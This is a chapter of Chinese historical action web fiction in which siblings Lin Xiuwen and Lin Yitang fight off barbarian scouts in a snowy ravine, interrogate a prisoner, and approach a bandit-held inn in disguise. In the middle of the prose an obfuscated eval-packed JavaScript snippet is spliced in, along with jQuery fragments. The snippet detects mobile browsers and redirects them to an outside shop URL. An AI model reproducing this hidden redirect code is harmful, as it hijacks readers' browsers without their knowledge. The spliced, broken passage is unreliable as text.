风大得能吹裂骨头缝。
代郡往南五十里,落魂坡。两山夹一沟,地形如同一只扎紧了口的麻袋,积雪没过马蹄。
林修文勒住缰绳,抬手止住队伍:“停。”
**驱马凑上来,只露出一双精光四射的眼睛:“怎么?”
“**静了。”林修文眉头紧锁,盯着前方被风雪掩埋的小径。
“这鬼天气,能不安静吗?”
“不。”林修文翻身下马,蹲在一棵枯树旁,抹去浮雪,露出树皮上一道极新的划痕。他捻起一点碎屑,“马镫刮的,是北蛮特有的‘鹰嘴镫’。”
**脸色一变:“鬼书生的‘眼睛’?”
“不止。”林修文翻身上马,抽出横刀,“以棠的马蹄印到这里就断了。这丫头比我想象的还谨慎。”
话音未落,一声尖锐的呼哨从左侧峭壁传来!
紧接着,几根合抱粗的巨木裹挟着冰雪,从头顶轰鸣砸下。
“散开!贴墙!”林修文暴喝一声,双腿猛夹马腹,借力腾空而起。手中横刀划出一道凄厉的弧线。
“咔嚓!”
迎面砸来的巨木被他生生劈去一角,改变方向,擦着他的衣角砸入雪地。
与此同时,十几名白衣箭手从岩缝中钻出,箭矢如雨点般倾泻而下。
“这群孙子!”**挥舞铁锏,拨开箭矢,“全是神射手!”
林修文没说话,身法诡异地在人群中穿梭,出刀迅猛,直奔要害。那是他在前世练就的草原**技。
一名箭手刚探头,便被横刀贯穿脖颈。林修文踩着尸体,如壁虎般贴着峭壁向上攀爬,几个起落便冲入箭手群中。
短兵相接,这群“眼睛”顿时乱了阵脚。惨叫声中,鲜血在雪地里盛开如红梅。
就在林修文解决掉最后一人时,下方突然传来一声清脆的机关崩裂声。
一根绊马索弹起,掀翻两名偷袭**的蛮兵。旁边的雪堆随之炸开,漫天石灰粉扬起。
“咳咳!我的眼睛!”
趁着蛮兵视线受阻,一道瘦小身影滚出,手中袖**连发。
“咻!咻!咻!”三箭封喉。
那身影杀完人就躲到一块巨石后。
“以棠!”林修文一眼认出。
林以棠探出半个脑袋,干笑道:“哥,你们来得有点慢啊。”
林修文从峭壁一跃而下,冲到妹妹面前,见她无恙,悬着的心放下,怒火却腾地烧起:“慢?你知不知道刚才多危险!你那点陷阱能撑多久?”
“撑到你们来为止。”林以棠语气理直气壮,“我赌他们会在这里设伏,也赌你会追上来。”
**走过来,啧啧称奇:“林小姐,这损招学到精髓了。”
“好用就行。”林以棠重新装填袖**,“这些是‘鬼书生’的斥候,领头的应该还在前面。”
林修文冷冷看着地上的尸体:“留活口了吗?”
“留了一个。”林以棠指了指远处捂着断腿哀嚎的蛮兵,“不过嘴硬,怕是问不出什么。”
林修文走过去,居高临下地看着那蛮兵用蹩脚的汉话咒骂:“叛徒!大汗会把你**万段!”
“哦。”林修文面无表情,突然抬脚,重重踩在蛮兵的断腿上。
“啊——!”
“前世我在库尔干帐下,学得最好的是刑讯。”林修文的声音平静得让人发毛,“人有二百零六块骨头,我可以一块块捏碎,保证你死不了。想试试吗?”
那蛮兵看着他狼一般的眼神,终于恐惧了。
一刻钟后,林修文擦着手上的血站起身。
“前面五里有个废弃驿站,鬼书生的副手带着五十精锐和薛清浅的人在那,想把我们一网打尽。”
**摸着胡渣:“硬拼有点亏。林小姐,有损招吗?”
林以棠眼中闪过一丝寒光:“他们不是在等我们吗?那就送份大礼。那驿站后面是不是有个存冰的地窖?”
“你想干什么?”林修文问。
“既然是风雪天,就让他们尝尝什么是真正的‘透心凉’。”林以棠嘴角勾起一抹冷笑,“哥,你的**还有剩吗?”
“有。”
“周将军,你会剥皮吗?”
**一愣,随即狞笑起来:“林小姐,你是想……”
“鬼书生喜欢玩心理战,我们就陪他玩。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16879758|189151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”林以棠握紧怀里的平安扣,“我要让他们每走一步,都像是在走鬼门关。”
风雪愈大,掩去了血迹,却掩不住即将到来的杀戮。
风雪停歇时,天色已近黄昏。残阳如血,铺在白茫茫的雪原上,透着股说不出的凄凉。
再往南走二十里,便是那蛮兵口中的废弃驿站。不过如今这里被改成了一间路边茶寮,挂着个破破烂烂的“茶”字旗,在寒风中瑟瑟发抖。
说是茶寮,其实就是几间四处漏风的茅草屋。屋前拴着几匹膘肥体壮的战马,屋内隐约传出划拳喝酒的喧闹声。
这地方前不着村后不着店,正常商旅绝不会在此停留。
“就是这儿了。”
不远处的雪坡后,三个脑袋冒了出来。
林修文换了一身满是补丁的羊皮袄子,头上缠着块脏兮兮的头巾,活脱脱一个落魄的走私商贩。他身后的**更绝,脸上贴了道触目惊心的假疤,独眼龙装扮,扛着把豁口的大刀,看着就像个**越货的悍匪。
至于林以棠,此时正缩在林修文身后,裹着厚厚的棉被,装成个病怏怏的小厮。
“五十个人,都在屋里。”林修文观察了片刻,低声道,“外面的马匹都有标记,是北蛮的军马,但混杂了几匹中原样式的,看来薛清浅的人也在。”
“硬闯?”**舔了舔嘴唇。
“不,智取。”林修文回头看了眼妹妹,“记得刚才的计划吗?”
林以棠苍白的脸上露出一丝狡黠:“放心,我的演技,也是练过的。”
三人从雪坡后绕出来,跌跌撞撞地走向茶寮。
“掌柜的!有没有活人啊!给口热汤喝!”**扯着破锣嗓子吼道,一脚踹开虚掩的柴扉。
屋内的喧闹声戛然而止。
十几道凶狠的目光瞬间集中在三人身上。这些人虽然穿着汉人的衣服,但那股子彪悍气和身上若隐若现的羊膻味根本藏不住。坐在最里面的几人倒是书生打扮,却神情阴鸷,手始终放在桌下。
一个身材矮胖、笑得像个弥勒佛似的中年男人迎了上来,手里提着个油腻腻的茶壶:“哎哟,几位客官,这大雪封山的,打哪儿来啊?”